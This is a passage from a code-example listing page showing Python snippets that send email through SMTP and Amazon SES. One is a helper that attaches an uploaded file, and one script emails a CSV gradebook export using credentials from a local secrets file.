        if avecStartTLS == True:
            smtp.starttls()
            smtp.ehlo()
        smtp.login(adresseExpediteur.encode('utf-8'),
                   motdepasse.encode('utf-8'))

    smtp.sendmail(adresseExpediteur,
                  listeDestinataires + listeDestinatairesCCI, msg.as_string())
    smtp.close()

    return True
Пример #59
0
def send_email(content, to, subject, file=None):
    '''Sends email
       :param content: The body content for the mail.
       :type string:
       :param to: To whom will be mail sent
       :type string:
       :param subject: The subject of mail.
       :type string:
       :rtype: string
       '''

    msg = MIMEMultipart('alternative')

    from_ = SMTP_FROM

    if isinstance(to, basestring):
        to = [to]

    msg['Subject'] = subject
    msg['From'] = from_
    msg['To'] = ','.join(to)

    msg.attach(MIMEText(content, 'html', _charset='utf-8'))
    msg.attach(
        MIMEText(re.sub(r'<[^<]+?>', '', content), 'plain', _charset='utf-8'))
    if isinstance(file, cgi.FieldStorage):
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(file.file.read())
        Encoders.encode_base64(part)

        extension = file.filename.split('.')[-1]

        part.add_header(
            'Content-Disposition',
            'attachment; filename=attachment.{0}'.format(extension))

        msg.attach(part)

    try:
        s = smtplib.SMTP(SMTP_SERVER)
        if SMTP_USER:
            s.login(SMTP_USER, SMTP_PASSWORD)
        s.sendmail(from_, to, msg.as_string())
        s.quit()
        response_dict = {
            'success': True,
            'message': 'Email message was successfully sent.'
        }
        return response_dict
    except SMTPRecipientsRefused:
        error = {
            'success': False,
            'error': {
                'fields': {
                    'recepient':
                    'Invalid email recepient, maintainer not found'
                }
            }
        }
        return error
    except socket_error:
        log.critical(
            'Could not connect to email server. Have you configured the SMTP settings?'
        )
        error_dict = {
            'success': False,
            'message': 'An error occured while sending the email. Try again.'
        }
        return error_dict
Пример #60
0
                id, last, first, gb["teacher"], gb_name, last_updated,
                gb["percentage"], gb["mark"], grading_period
            ]
            writer.writerow(row)

# send the file via Amazon SES

secrets = json.loads(open("secrets.json", "rb").read())
att_file = open(output, "rb").read()

user = secrets["SES_USER"]
pw = secrets["SES_PW"]
host = secrets["SES_SERVER"]
port = 465
email_from = "*****@*****.**"
email_to = "*****@*****.**"
msg = MIMEMultipart()
msg["From"] = email_from
msg["To"] = ", ".join(email_to)
msg["Subject"] = "Deanslist Gradebook"

attachment = MIMEBase('application', 'csv')
attachment.set_payload(att_file)
attachment.add_header('Content-Disposition', 'attachment', filename=output)
Encoders.encode_base64(attachment)
msg.attach(attachment)

s = smtplib.SMTP_SSL(host, port)
s.login(user, pw)
s.sendmail(email_from, email_to, msg.as_string())
s.quit()